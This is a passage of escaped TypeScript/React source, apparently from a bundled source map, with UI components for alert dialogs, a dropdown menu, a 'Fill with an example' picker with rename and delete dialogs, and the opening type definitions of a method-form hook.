</DialogSurface>\n));\nAlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName;\n\nconst AlertDialogTitle = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Title\n ref={ref}\n className={cn('text-[16px] text-foreground', headingClass(600), className)}\n {...props}\n />\n));\nAlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName;\n\nconst AlertDialogDescription = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Description\n ref={ref}\n className={cn('text-[13px] text-muted-foreground', className)}\n {...props}\n />\n));\nAlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName;\n\nconst AlertDialogCancel = AlertDialogPrimitive.Cancel;\nconst AlertDialogAction = AlertDialogPrimitive.Action;\n\nexport {\n AlertDialog,\n AlertDialogAction,\n AlertDialogCancel,\n AlertDialogContent,\n AlertDialogDescription,\n AlertDialogTitle,\n};\n","'use client';\n\nimport * as React from 'react';\nimport * as DropdownMenuPrimitive from '@radix-ui/react-dropdown-menu';\n\nimport { cn } from '../utils';\n\n/*\n * The vendored menu, over `@radix-ui/react-dropdown-menu`: a row's actions,\n * reached by Enter, Space or a tap on its trigger, walked with the arrow keys,\n * closed by Escape with focus back on the trigger. Drawn in place like\n * `./dialog`, so it reads the scope's tokens; its popper positions it `fixed`.\n */\n\nconst DropdownMenu = DropdownMenuPrimitive.Root;\nconst DropdownMenuTrigger = DropdownMenuPrimitive.Trigger;\n\nconst DropdownMenuContent = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n <DropdownMenuPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n 'z-50 min-w-36 overflow-hidden rounded-md border border-border bg-popover p-1 text-popover-foreground shadow-md',\n className,\n )}\n {...props}\n />\n));\nDropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName;\n\nconst DropdownMenuItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item>\n>(({ className, ...props }, ref) => (\n <DropdownMenuPrimitive.Item\n ref={ref}\n className={cn(\n 'flex min-h-11 cursor-default select-none items-center gap-2 rounded-sm px-3 text-[14px] outline-hidden data-highlighted:bg-accent data-highlighted:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 sm:min-h-9',\n className,\n )}\n {...props}\n />\n));\nDropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName;\n\nexport { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger };\n","'use client';\n\nimport { useEffect, useId, useRef, useState, type KeyboardEvent, type ReactNode } from 'react';\nimport { MoreHorizontal, Sparkles, X } from 'lucide-react';\nimport type { ExampleSource, FormExample, RunField } from '../core';\n// Value imports come from the specific module, never the `../core` barrel - the\n// barrel reaches the gate and the gate reaches ajv. See docs/dependency-budget.md.\nimport { runValuesFromInputs } from '../core/values';\nimport { useFieldStrings } from './field-strings';\nimport { followingFocusable } from './focus';\nimport {\n DimRows,\n drawsNothing,\n ListAction,\n ListMessage,\n MoreFooter,\n useSourcePages,\n type LoadSourcePage,\n} from './source-list';\nimport {\n AlertDialog,\n AlertDialogAction,\n AlertDialogCancel,\n AlertDialogContent,\n AlertDialogDescription,\n AlertDialogTitle,\n} from './ui/alert-dialog';\nimport {\n Dialog,\n DialogClose,\n DialogContent,\n DialogDescription,\n DialogTitle,\n type ReturnFocus,\n} from './ui/dialog';\nimport {\n DropdownMenu,\n DropdownMenuContent,\n DropdownMenuItem,\n DropdownMenuTrigger,\n} from './ui/dropdown-menu';\nimport { focusOutlineClass, focusOutlineInsetClass } from './role-tokens';\nimport { cn } from './utils';\n\n/*\n * The example source's control: \"Fill with an example\", the list of the\n * method's examples it opens, the question asked before an example replaces\n * what a person entered, and the row menu that opens, renames and deletes.\n * Filling sets the form's values and nothing else: it never starts a run. See\n * docs/sources.md.\n */\n\n/**\n * An example source as the control set takes it: the kernel's `ExampleSource`,\n * which lists the examples and says what may be done with them, and what a\n * row says under the example's name, which only a renderer can draw. Every\n * `ExampleSource` is one, so a host that describes nothing passes its source\n * as it is.\n */\nexport interface ExamplePickerSource extends ExampleSource {\n /**\n * Draws a line under a row's name: what the example holds, say, or that it\n * no longer fits the form. It receives the example as `list` returned it and\n * the fields the control reads examples back against, the form's own. What\n * it returns is drawn inside the row's button, under the name, in the list's\n * small muted type unless it styles itself, and is read with the name as the\n * row's accessible name, so it is phrasing content with nothing interactive\n * in it: text, a `<span>`, a decorative icon. It wraps within the row and\n * never widens it; a host wanting one line truncates its own element. A row\n * it returns what React renders nothing for stays the one line of its name:\n * `null`, `undefined`, `true`, `false` or `''`, or an array of nothing but\n * those, an empty one included. It is declared as a method,\n * as `FilePickerSource.renderGlyph` is, so a source whose `renderDetail`\n * takes the host's own example type, the type its `list` answers with, is\n * still accepted.\n */\n renderDetail?(example: FormExample, fields: readonly RunField[]): ReactNode;\n}\n\nexport interface FillWithExampleProps {\n /** The host's examples of this method, and what each row says under its name. */\n source: ExamplePickerSource;\n /** The form's fields, which an example's inputs are read back against. */\n fields: RunField[];\n /**\n * Whether the form holds a value the person typed or attached. An untouched\n * form fills at once; a touched one asks \"Replace what you entered?\" first.\n * `useMethodForm` reports it as `touched`; a host holding its own values\n * compares them with the ones it last set (`sameRunValues`).\n */\n touched: boolean;\n /**\n * Sets the whole form's values to the example's, read back into the\n * controls' shape (`runValuesFromInputs`). Never a run.\n */\n onFill: (values: Record<string, unknown>, example: FormExample) => void;\n /** Holds the control shut, as a host does while a run is in flight. */\n disabled?: boolean;\n className?: string;\n}\n\nconst buttonClass = cn(\n 'inline-flex min-h-11 items-center justify-center gap-2 rounded-md px-4 text-[14px] transition-colors disabled:cursor-not-allowed disabled:opacity-50 sm:min-h-9',\n focusOutlineClass,\n);\nconst secondaryClass = cn(buttonClass, 'border border-border text-foreground hover:bg-muted');\nconst primaryClass = cn(\n buttonClass,\n 'bg-primary font-medium text-primary-foreground hover:bg-primary/90',\n);\nconst dangerClass = cn(\n buttonClass,\n 'bg-destructive font-medium text-destructive-foreground hover:bg-destructive/90',\n);\n\n/**\n * \"Fill with an example\", and everything behind it.\n *\n * With `hideWhenEmpty`, the control reads the list as it mounts and again each\n * time the list closes (a delete may have taken the last example), and is\n * offered once the method is known to have an example, or when the list could\n * not be read, so a failure is shown rather than hidden. That read follows the\n * list past empty pages, and while it is under way the control keeps the last\n * answer rather than blinking out. The list itself never vanishes while it is\n * open. Without `hideWhenEmpty`, the control is always offered and an empty\n * list says how to make one.\n */\nexport function FillWithExample({\n source,\n fields,\n touched,\n onFill,\n disabled,\n className,\n}: FillWithExampleProps) {\n const s = useFieldStrings();\n const [open, setOpen] = useState(false);\n // Each opening reads the list afresh, since an example may have been saved\n // since the last one, and each closing reads it again for `hideWhenEmpty`.\n const [opening, setOpening] = useState(0);\n const [closing, setClosing] = useState(0);\n const [replacing, setReplacing] = useState<FormExample | null>(null);\n const [renaming, setRenaming] = useState<FormExample | null>(null);\n const [deleting, setDeleting] = useState<FormExample | null>(null);\n\n // Where focus goes back as each surface closes. None of them has a Radix\n // trigger, so each names its element: the control, a row, a row's menu.\n const control = useRef<HTMLButtonElement>(null);\n const closeButton = useRef<HTMLButtonElement>(null);\n const sheet = useRef<HTMLDivElement>(null);\n // Where focus goes when the list closes on the method's last example, taking\n // the control with it: what follows the control on the page.\n const afterControl = useRef<HTMLElement | null>(null);\n const rows = useRef(new Map<string, HTMLButtonElement>());\n const menus = useRef(new Map<string, HTMLButtonElement>());\n // The example Open was chosen on, handed to the host's `open` once the list\n // has closed and given focus back to the control.\n const handingOver = useRef<FormExample | null>(null);\n // A row's choice as the latest render makes it, which the `fill` handed to\n // the host calls, so it reads the fields, the touched state and the disabled\n // state current when it is called rather than when the example was opened.\n const latestChoice = useRef<(example: FormExample) => void>(() => undefined);\n // The row a rename or a delete hands focus to as its dialog closes, by id.\n const afterRowDialog = useRef<{ id: string | undefined; to: 'row' | 'menu' } | null>(null);\n const register =\n (map: Map<string, HTMLButtonElement>, id: string) => (element: HTMLButtonElement) => {\n map.set(id, element);\n return () => {\n if (map.get(id) === element) map.delete(id);\n };\n };\n\n const load: LoadSourcePage<FormExample> = (cursor, signal) =>\n source\n .list({ cursor, signal })\n .then((page) => ({ items: page.examples, nextCursor: page.nextCursor }));\n const probe = useSourcePages(load, source.hideWhenEmpty ? `probe-${closing}` : null);\n const pages = useSourcePages(load, open ? `open-${opening}` : null);\n\n // The probe's latest answer, kept while it reads again so the control does\n // not leave and come back each time the list closes.\n const answer =\n probe.status === 'failed' || probe.more === 'failed'\n ? true\n : probe.items.length > 0\n ? true\n : probe.empty\n ? false\n : null;\n const [hasExamples, setHasExamples] = useState<boolean | null>(null);\n if (answer !== null && answer !== hasExamples) setHasExamples(answer);\n\n // A form held shut, as a host holds it while a run is in flight, closes\n // everything the control opened: nothing in it may write to the form then.\n if (disabled && (open || replacing || renaming || deleting)) {\n if (open) setClosing((count) => count + 1);\n setOpen(false);\n setReplacing(null);\n setRenaming(null);\n setDeleting(null);\n }\n\n // Under `hideWhenEmpty` the control leaves while the method is known to have\n // no example, and stays mounted drawing nothing. What it held goes with it:\n // a question asked by a `fill` the host kept, which would otherwise come\n // back unasked when the control is drawn again, and that `fill` itself.\n const hidden = source.hideWhenEmpty === true && !open && (answer ?? hasExamples) !== true;\n if (hidden && (replacing || renaming || deleting)) {\n setReplacing(null);\n setRenaming(null);\n setDeleting(null);\n }\n\n const closeList = () => {\n // The list just read is the freshest answer there is: a list read to its\n // end with nothing left (its last example deleted) takes the control away\n // as it closes, and focus moves on to what follows it rather than to a\n // control that is gone. The read that follows the closing confirms it.\n if (source.hideWhenEmpty && pages.status === 'ready') {\n if (pages.items.length > 0) setHasExamples(true);\n else if (pages.empty) {\n afterControl.current = followingFocusable(control.current, sheet.current);\n setHasExamples(false);\n }\n }\n setOpen(false);\n setClosing((count) => count + 1);\n };\n const fill = (example: FormExample) => {\n if (disabled) return;\n onFill(runValuesFromInputs(example.inputs, fields), example);\n setReplacing(null);\n // A fill the host asked for, from an example it opened, finds the list\n // already closed.\n if (open) closeList();\n };\n const choose = (example: FormExample) => {\n if (disabled) return;\n if (touched) setReplacing(example);\n else fill(example);\n };\n // Each render's choice becomes the one a `fill` handed to the host makes;\n // while the control is hidden, and once it is gone, that `fill` does nothing.\n useEffect(() => {\n latestChoice.current = hidden ? () => undefined : choose;\n return () => {\n latestChoice.current = () => undefined;\n };\n });\n\n if (hidden) return null;\n\n const manages =\n source.open !== undefined || source.rename !== undefined || source.delete !== undefined;\n // Open closes the list, and its example goes to the host only once the list\n // has given focus back to \"Fill with an example\": a surface the host opens\n // from there then returns focus there as it closes. The panel calls this\n // just before it moves focus, so the call waits for the move.\n const handOver = () => {\n const example = handingOver.current;\n handingOver.current = null;\n if (!example || !source.open) return;\n // Called on the source, as every handler is, so a source written as a\n // class keeps `this`.\n queueMicrotask(() => source.open?.(example, () => latestChoice.current(example)));\n };\n\n // A later page that failed is said before the rows still shown: the footer\n // that shows it is not a live region, so this line is what announces it.\n const status =\n pages.status === 'idle' || pages.status === 'loading'\n ? s.examplesLoading\n : pages.status === 'failed'\n ? s.examplesFailed\n : pages.more === 'failed'\n ? s.loadMoreFailed\n : pages.items.length > 0\n ? s.examplesShown(pages.items.length)\n : pages.empty\n ? s.examplesNone\n : s.examplesLoading;\n\n // After a rename or a delete: the row's menu, the row that took a deleted\n // row's place, or the list's close button when no row is left.\n const returnFromRowDialog: ReturnFocus = () => {\n const next = afterRowDialog.current;\n afterRowDialog.current = null;\n if (!next) return null;\n const target =\n next.id === undefined ? undefined : (next.to === 'menu' ? menus : rows).current.get(next.id);\n return target?.isConnected ? target : closeButton.current;\n };\n\n return (\n <>\n <button\n ref={control}\n type=\"button\"\n disabled={disabled}\n aria-haspopup=\"dialog\"\n onClick={() => {\n setOpening((count) => count + 1);\n setOpen(true);\n }}\n className={cn(secondaryClass, className)}\n >\n <Sparkles className=\"size-4 text-muted-foreground\" aria-hidden=\"true\" />\n {s.fillWithExample}\n </button>\n\n <Dialog\n open={open}\n onOpenChange={(next) => {\n if (next) setOpen(true);\n else closeList();\n }}\n >\n {open && (\n <DialogContent\n layout=\"sheet\"\n // Below 1280px the sheet is as tall as its rows, up to the viewport.\n className=\"top-auto max-h-[calc(100dvh-1.5rem)]\"\n ref={sheet}\n returnFocus={() => control.current ?? afterControl.current}\n onCloseAutoFocus={handOver}\n >\n <div className=\"px-4 pt-4 pb-3\">\n <div className=\"flex items-start gap-3\">\n <div className=\"min-w-0 flex-1 space-y-1 pt-1\">\n <DialogTitle className=\"text-[20px]\">{s.examplesTitle}</DialogTitle>\n <DialogDescription>{s.examplesHint}</DialogDescription>\n </div>\n <DialogClose\n ref={closeButton}\n aria-label={s.close}\n className={cn(\n 'flex size-11 shrink-0 items-center justify-center rounded-full border border-border text-muted-foreground transition-colors hover:bg-muted hover:text-foreground',\n focusOutlineClass,\n )}\n >\n <X className=\"size-5\" aria-hidden=\"true\" />\n </DialogClose>\n </div>\n </div>\n\n <p role=\"status\" className=\"sr-only\">\n {status}\n </p>\n\n <div className=\"min-h-0 flex-1 overflow-y-auto border-t border-border pb-[env(safe-area-inset-bottom)]\">\n {pages.status === 'idle' || pages.status === 'loading' ? (\n <DimRows count={3} />\n ) : pages.status === 'failed' ? (\n <ListMessage text={s.examplesFailed}>\n <ListAction onClick={pages.retry}>{s.tryAgain}</ListAction>\n </ListMessage>\n ) : pages.empty ? (\n <ListMessage text={s.examplesNone} />\n ) : (\n <>\n {pages.items.length > 0 && (\n <ul className=\"divide-y divide-border\">\n {pages.items.map((example) => (\n <li key={example.id} className=\"flex items-center gap-1 pr-2\">\n <button\n ref={register(rows.current, example.id)}\n type=\"button\"\n onClick={() => choose(example)}\n className={cn(\n 'flex min-h-16 min-w-0 flex-1 items-center px-4 py-2.5 text-left transition-colors hover:bg-muted/60',\n focusOutlineInsetClass,\n )}\n >\n <ExampleRowText\n name={example.name}\n detail={source.renderDetail?.(example, fields)}\n />\n </button>\n {manages && (\n // Not modal, so the question a menu item opens takes\n // the focus without the menu fighting it for the page.\n <DropdownMenu modal={false}>\n <DropdownMenuTrigger\n ref={register(menus.current, example.id)}\n aria-label={s.exampleActions(example.name)}\n className={cn(\n 'flex size-11 shrink-0 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted hover:text-foreground',\n focusOutlineInsetClass,\n )}\n >\n <MoreHorizontal className=\"size-5\" aria-hidden=\"true\" />\n </DropdownMenuTrigger>\n <DropdownMenuContent align=\"end\">\n {source.open && (\n <DropdownMenuItem\n onSelect={() => {\n handingOver.current = example;\n closeList();\n }}\n >\n {s.openExample}\n </DropdownMenuItem>\n )}\n {source.rename && (\n <DropdownMenuItem onSelect={() => setRenaming(example)}>\n {s.renameExample}\n </DropdownMenuItem>\n )}\n {source.delete && (\n <DropdownMenuItem\n onSelect={() => setDeleting(example)}\n className=\"text-destructive data-highlighted:text-destructive\"\n >\n {s.deleteExample}\n </DropdownMenuItem>\n )}\n </DropdownMenuContent>\n </DropdownMenu>\n )}\n </li>\n ))}\n </ul>\n )}\n <MoreFooter pages={pages} />\n </>\n )}\n </div>\n </DialogContent>\n )}\n </Dialog>\n\n {/* Siblings of the sheet rather than children of its panel: each is a\n layer of its own over it, and Escape or Cancel closes only the top\n one, leaving the list where it was. */}\n <AlertDialog\n open={replacing !== null}\n onOpenChange={(next) => {\n if (!next) setReplacing(null);\n }}\n >\n {replacing && (\n <AlertDialogContent\n // Back to the row that asked when the person keeps what they\n // entered; to the control when the list closed with the fill.\n returnFocus={() => {\n const row = rows.current.get(replacing.id);\n return row?.isConnected ? row : control.current;\n }}\n >\n <AlertDialogTitle>{s.replaceEnteredTitle}</AlertDialogTitle>\n <AlertDialogDescription>\n {s.replaceEnteredDescription(replacing.name)}\n </AlertDialogDescription>\n <div className=\"flex flex-wrap justify-end gap-2\">\n <AlertDialogCancel className={secondaryClass}>{s.cancel}</AlertDialogCancel>\n <AlertDialogAction className={primaryClass} onClick={() => fill(replacing)}>\n {s.replaceEnteredConfirm}\n </AlertDialogAction>\n </div>\n </AlertDialogContent>\n )}\n </AlertDialog>\n\n {source.rename && renaming && (\n <RenameExampleDialog\n example={renaming}\n // Bound, since the dialog calls it on its own: a class keeps `this`.\n rename={source.rename.bind(source)}\n returnFocus={returnFromRowDialog}\n onDone={(renamed) => {\n // Matched by the id the row had: a host that versions its records\n // may answer the renamed example under a new one.\n pages.updateItems((items) =>\n items.map((item) => (item.id === renaming.id ? renamed : item)),\n );\n afterRowDialog.current = { id: renamed.id, to: 'menu' };\n setRenaming(null);\n }}\n onCancel={() => {\n afterRowDialog.current = { id: renaming.id, to: 'menu' };\n setRenaming(null);\n }}\n />\n )}\n\n {source.delete && deleting && (\n <DeleteExampleDialog\n example={deleting}\n remove={source.delete.bind(source)}\n returnFocus={returnFromRowDialog}\n onDone={(deleted) => {\n const index = pages.items.findIndex((item) => item.id === deleted.id);\n const neighbour = pages.items[index + 1] ?? pages.items[index - 1];\n pages.updateItems((items) => items.filter((item) => item.id !== deleted.id));\n afterRowDialog.current = { id: neighbour?.id, to: 'row' };\n setDeleting(null);\n }}\n onCancel={() => {\n afterRowDialog.current = { id: deleting.id, to: 'menu' };\n setDeleting(null);\n }}\n />\n )}\n </>\n );\n}\n\n/**\n * A row's words: the example's name on one line, cut short when it is long,\n * and under it what the host's `renderDetail` drew, which wraps. The space\n * between them is a text node, so the row's accessible name reads them as two\n * phrases whatever the two lines are styled as.\n */\nfunction ExampleRowText({ name, detail }: { name: string; detail: ReactNode }) {\n return (\n <span className=\"min-w-0 flex-1\">\n <span className=\"block truncate text-[16px] font-medium text-foreground\">{name}</span>\n {!drawsNothing(detail) && (\n <>\n {' '}\n <span\n data-slot=\"example-row-detail\"\n className=\"mt-0.5 block text-[13px] wrap-break-word text-muted-foreground\"\n >\n {detail}\n </span>\n </>\n )}\n </span>\n );\n}\n\n/**\n * The rename: the name, trimmed and never empty, and Save, which reads\n * \"Renaming…\" while the host works. A failure keeps the dialog open with the\n * new name, says so, and Save becomes Try again.\n */\nfunction RenameExampleDialog({\n example,\n rename,\n returnFocus,\n onDone,\n onCancel,\n}: {\n example: FormExample;\n rename: NonNullable<ExampleSource['rename']>;\n returnFocus: ReturnFocus;\n onDone: (renamed: FormExample) => void;\n onCancel: () => void;\n}) {\n const s = useFieldStrings();\n const fieldId = useId();\n const [name, setName] = useState(example.name);\n const [state, setState] = useState<'idle' | 'busy' | 'failed'>('idle');\n const trimmed = name.trim();\n\n const save = () => {\n if (trimmed === '' || state === 'busy') return;\n setState('busy');\n let renamed: Promise<FormExample | void>;\n try {\n renamed = Promise.resolve(rename(example, trimmed));\n } catch (error) {\n renamed = Promise.reject(error);\n }\n renamed.then(\n (stored) => onDone(stored ?? { ...example, name: trimmed }),\n () => setState('failed'),\n );\n };\n const onKeyDown = (event: KeyboardEvent<HTMLInputElement>) => {\n if (event.key !== 'Enter') return;\n event.preventDefault();\n save();\n };\n\n return (\n <Dialog\n open\n onOpenChange={(next) => {\n if (!next && state !== 'busy') onCancel();\n }}\n >\n <DialogContent returnFocus={returnFocus}>\n <DialogTitle>{s.renameExampleTitle}</DialogTitle>\n <DialogDescription className=\"sr-only\">{example.name}</DialogDescription>\n <div className=\"space-y-1.5\">\n <label htmlFor={fieldId} className=\"text-[13px] font-medium text-foreground\">\n {s.exampleName}\n </label>\n <input\n id={fieldId}\n type=\"text\"\n value={name}\n onChange={(event) => setName(event.target.value)}\n onKeyDown={onKeyDown}\n disabled={state === 'busy'}\n autoComplete=\"off\"\n className={cn(\n 'h-11 w-full rounded-md border border-border bg-input px-3 text-[16px] text-foreground',\n focusOutlineClass,\n )}\n />\n </div>\n {state === 'failed' && (\n <p role=\"alert\" className=\"text-[13px] text-destructive\">\n {s.renameFailed}\n </p>\n )}\n <div className=\"flex flex-wrap justify-end gap-2\">\n <button\n type=\"button\"\n onClick={onCancel}\n disabled={state === 'busy'}\n className={secondaryClass}\n >\n {s.cancel}\n </button>\n <button\n type=\"button\"\n onClick={save}\n disabled={trimmed === '' || state === 'busy'}\n className={primaryClass}\n >\n {state === 'busy' ? s.renaming : state === 'failed' ? s.tryAgain : s.save}\n </button>\n </div>\n </DialogContent>\n </Dialog>\n );\n}\n\n/**\n * The question asked before a delete, with Cancel focused first. Delete reads\n * \"Deleting…\" while the host works; a failure keeps the question open, says\n * so, and Delete becomes Try again.\n */\nfunction DeleteExampleDialog({\n example,\n remove,\n returnFocus,\n onDone,\n onCancel,\n}: {\n example: FormExample;\n remove: NonNullable<ExampleSource['delete']>;\n returnFocus: ReturnFocus;\n onDone: (deleted: FormExample) => void;\n onCancel: () => void;\n}) {\n const s = useFieldStrings();\n const [state, setState] = useState<'idle' | 'busy' | 'failed'>('idle');\n\n const confirm = () => {\n if (state === 'busy') return;\n setState('busy');\n let removed: Promise<void>;\n try {\n removed = Promise.resolve(remove(example));\n } catch (error) {\n removed = Promise.reject(error);\n }\n removed.then(\n () => onDone(example),\n () => setState('failed'),\n );\n };\n\n return (\n <AlertDialog\n open\n onOpenChange={(next) => {\n if (!next && state !== 'busy') onCancel();\n }}\n >\n <AlertDialogContent returnFocus={returnFocus}>\n <AlertDialogTitle>{s.deleteExampleTitle(example.name)}</AlertDialogTitle>\n <AlertDialogDescription>{s.deleteExampleDescription}</AlertDialogDescription>\n {state === 'failed' && (\n <p role=\"alert\" className=\"text-[13px] text-destructive\">\n {s.deleteFailed}\n </p>\n )}\n <div className=\"flex flex-wrap justify-end gap-2\">\n <AlertDialogCancel disabled={state === 'busy'} className={secondaryClass}>\n {s.cancel}\n </AlertDialogCancel>\n {/* A plain button, not the dialog's Action, which would close the\n question before the host has answered. */}\n <button\n type=\"button\"\n onClick={confirm}\n disabled={state === 'busy'}\n className={dangerClass}\n >\n {state === 'busy' ? s.deleting : state === 'failed' ? s.tryAgain : s.deleteExample}\n </button>\n </div>\n </AlertDialogContent>\n </AlertDialog>\n );\n}\n","'use client';\n\nimport { useCallback, useMemo, useRef, useState, type ReactNode } from 'react';\nimport type { PipeIOContract, PipeInputFormDescriptor, Readiness, RunField } from '../core';\nimport { buildRunFields } from '../core/derive';\nimport { ownProp } from '../core/own-property';\nimport {\n anyOptionalStructureOpen,\n computeReadiness,\n gateRefusal,\n isFoldedOptional,\n isOptionalStructure,\n mustBeFilled,\n optionalStructureOpen,\n} from '../core/readiness';\nimport { closeOptionalStructures, openOptionalStructures, seedInputs } from '../core/seed';\nimport { apiInputsFromRunValues, sameRunValues, setValueAtPath } from '../core/values';\nimport { FillWithExample, type ExamplePickerSource } from './example-fill';\nimport { FieldRenderer, type FieldEnv } from './field-renderer';\nimport type { UploadedFile } from './file-field';\nimport { FramedFormContext, RefusedStructureContext } from './object-field';\nimport type { FilePickerSource } from './file-picker';\nimport { FieldPresentationProvider, type FieldPresentation } from './field-presentation';\nimport { FieldStringsProvider, useFieldStrings, type FieldStrings } from './field-strings';\nimport { OptionalToggle } from './optional-toggle';\nimport { destinationOf, movedId, type RowMove } from './row-moves';\nimport { cn } from './utils';\n\n/**\n * A whole method's input form: every input of one pipe, built from its\n * input-form descriptor and its contract, with the state a host would\n * otherwise hand-write around `FieldRenderer` - the seed, the uploads, the\n * top-level optional disclosure, the required marks and the run gate.\n *\n * It is two pieces, so the consumer keeps what is its own. `useMethodForm`\n * holds the state and hands back the values, the run inputs and whether they\n * are ready, wherever in the host's tree it is called - typically beside the\n * run button. `MethodForm` renders the fields for that state and nothing else:\n * no panel, no heading, no run button, no history, no `<form>` element. See\n * docs/method-form.md.\n */\n\n/** The form's values, keyed by input name, in the controls' own shape. */\nexport type MethodFormValues = Record<string, unknown>;\n\n/**\n * Where a dropped file goes: its field's id, which is its value path, split.\n * It is the id the file was dropped at; if `removeItem` or `moveItem` moves\n * that row while the file is arriving, the form writes the result at the\n * row's new id.\n */\nexport interface MethodFormUploadContext {\n /** The field's id, a dotted value path (`photos.1`, `invoice.source`). */\n id: string;\n /** The same path, split: what `setValueAtPath` takes. */\n path: string[];\n}\n\nexport interface UseMethodFormOptions {\n /** The pipe's input-form descriptor (`getPipeInputForm`). */\n descriptor: PipeInputFormDescriptor;\n /** The pipe's entry in `pipe_io_contracts` (`getPipeIOContract`). */\n contract: PipeIOContract;\n /**\n * A transform over the derived fields, applied once before anything else\n * reads them: narrowing a file slot (`narrowFileFormats`), dropping a child\n * the host never sends. Pass a stable function (module-level or memoized):\n * the fields are re-derived when it changes.\n */\n prepareFields?: (fields: RunField[]) => RunField[];\n /**\n * Input names to show first, in this order. Every input not named keeps its\n * descriptor order after them; a name no input has is ignored.\n */\n order?: readonly string[];\n /**\n * What the form holds until its first edit. Absent or `null`, the method's\n * own seed (`seedInputs`: the authored defaults, every optional structure\n * closed). A function receives that seed and returns the values, for a host\n * that lays something the method cannot know over it (today's date). Read on\n * every render until the first edit, so it may change after hydration; from\n * the first edit the form owns its values, and `reset` goes back to it.\n */\n initialValues?: MethodFormValues | ((seed: MethodFormValues) => MethodFormValues) | null;\n /**\n * Stores a dropped or picked file and resolves to what the field holds. Its\n * presence is the capability: without it every file field is link-only (see\n * docs/upload-seam.md). A rejection marks the field's upload as failed with\n * `FieldStrings.uploadFailed`, unless another file was written in its place\n * while it was in flight. The next file dropped there clears the mark, and\n * so does any write that changes the file at that path: a file chosen from\n * `fileSource`, a typed link, a clear, a `setValues`. When it resolves to a\n * bare URL, or omits the name, the file's own name is kept.\n */\n uploadFile?: (file: File, context: MethodFormUploadContext) => Promise<UploadedFile>;\n /**\n * Where a file field can take a file the host already stores. Its presence\n * is the capability, as `uploadFile`'s is: every empty file field then offers\n * \"Choose from your team's files\", and a list of files offers it for several\n * at once. The choice is written as `{ url, filename }`, as an upload's\n * result is. Its `renderGlyph`, when given, draws each row's glyph in the\n * sheet. See docs/sources.md.\n */\n fileSource?: FilePickerSource;\n /**\n * Where the form can take a saved example of the method. When given,\n * `MethodForm` offers \"Fill with an example\" above the fields, which sets\n * every value at once (as `reset` does) and never starts a run; a touched\n * form asks before it replaces what was entered. Its `open`, when given,\n * hands a row's example to the host's own surface, and its `renderDetail`\n * draws a line under each row's name. See docs/sources.md.\n */\n exampleSource?: ExamplePickerSource;\n}\n\n/** What the form says to its consumer: the values, the run inputs, the gate. */\nexport interface MethodFormState {\n /** The fields the form renders, derived, prepared and ordered. */\n fields: RunField[];\n /** The current values, in the controls' shape. */\n values: MethodFormValues;\n /**\n * The values as a run takes them: each input as `{ concept, content }`, an\n * unfilled optional input left out, an empty plural input sent as `[]`\n * (`apiInputsFromRunValues`). What a run call's `inputs` takes.\n */\n inputs: Record<string, unknown>;\n /** How many of the inputs that gate a run are filled, and which are not. */\n readiness: Readiness;\n /** Whether a file upload is still in flight. */\n uploading: boolean;\n /** Whether a run may start: every gating input filled and no upload in flight. */\n ready: boolean;\n /** Whether `attempt` has been called since the last reset: required marks show. */\n attempted: boolean;\n /**\n * Whether the form holds work of the person's own: a value that sends a\n * different run from the one it was given (its initial values as they stood\n * at the first edit, or the last `reset`), or a file still arriving. A value typed and erased again, or an\n * optional structure opened and left empty, sends the same run and does not\n * count. \"Fill with an example\" asks before replacing a touched form.\n */\n touched: boolean;\n}\n\n/** The handle `useMethodForm` returns, and `MethodForm` renders. */\nexport interface MethodFormController extends MethodFormState {\n /**\n * Replace the values, or update them from the previous ones. A write that\n * changes the file at an id in `failedUploadIds` ends that failure.\n *\n * A write is read by position: what the form keeps by id (a failed upload,\n * an upload in flight) stays at its id, whatever the write did to the rows\n * of a list. A value carries no identity for its rows, so a write that moves\n * them cannot be told from one that replaces them; rows are moved with\n * `removeItem` and `moveItem`, which carry all of it along.\n */\n setValues: (next: MethodFormValues | ((previous: MethodFormValues) => MethodFormValues)) => void;\n /**\n * Removes the row at `index` of the list at `listId` (an id, the list's\n * dotted value path: `attachments`, `candidates.1.letters`), and moves with\n * every later row what the form keeps by its id: a failed upload's mark, an\n * upload in flight, and the file that upload was dropped over. What it kept\n * for the removed row goes with it, and an upload still arriving there\n * writes nothing. `MethodForm` hands this to its lists as\n * `FieldEnv.onRemoveItem`, so their remove buttons use it; a host rendering\n * its own fields passes it the same way. A call naming no row of a list\n * changes nothing.\n */\n removeItem: (listId: string, index: number) => void;\n /**\n * Moves the row at `from` of the list at `listId` to `to`, the rows between\n * them shifting by one, and carries what the form keeps by each moved row's\n * id along with it, as `removeItem` does. A host reordering a list moves its\n * rows with this rather than through `setValues`, which is read by\n * position. A call naming no row of a list changes nothing.\n */\n moveItem: (listId: string, from: number, to: number) => void;\n /**\n * Every move `removeItem` and `moveItem` have made since the last reset,\n * oldest first. `MethodForm` hands it to its lists as `FieldEnv.rowMoves`,\n * and a list replays it on the identities of its rows, so a row's controls\n * move with the row whoever moved it; a host rendering its own fields passes\n * it the same way, beside `removeItem`.\n */\n rowMoves: readonly RowMove[];\n /**\n * Back to `values` (a past run's inputs, say), or to the initial values when\n * none is given. Forgets the edits, the attempt, the failed uploads and any\n * upload still in flight, whose result is then dropped.\n */\n reset: (values?: MethodFormValues | null) => void;\n /**\n * The run button's press: marks the attempt, so every gating input still\n * empty shows its required mark, and answers whether the run may start.\n */\n attempt: () => boolean;\n /**\n * 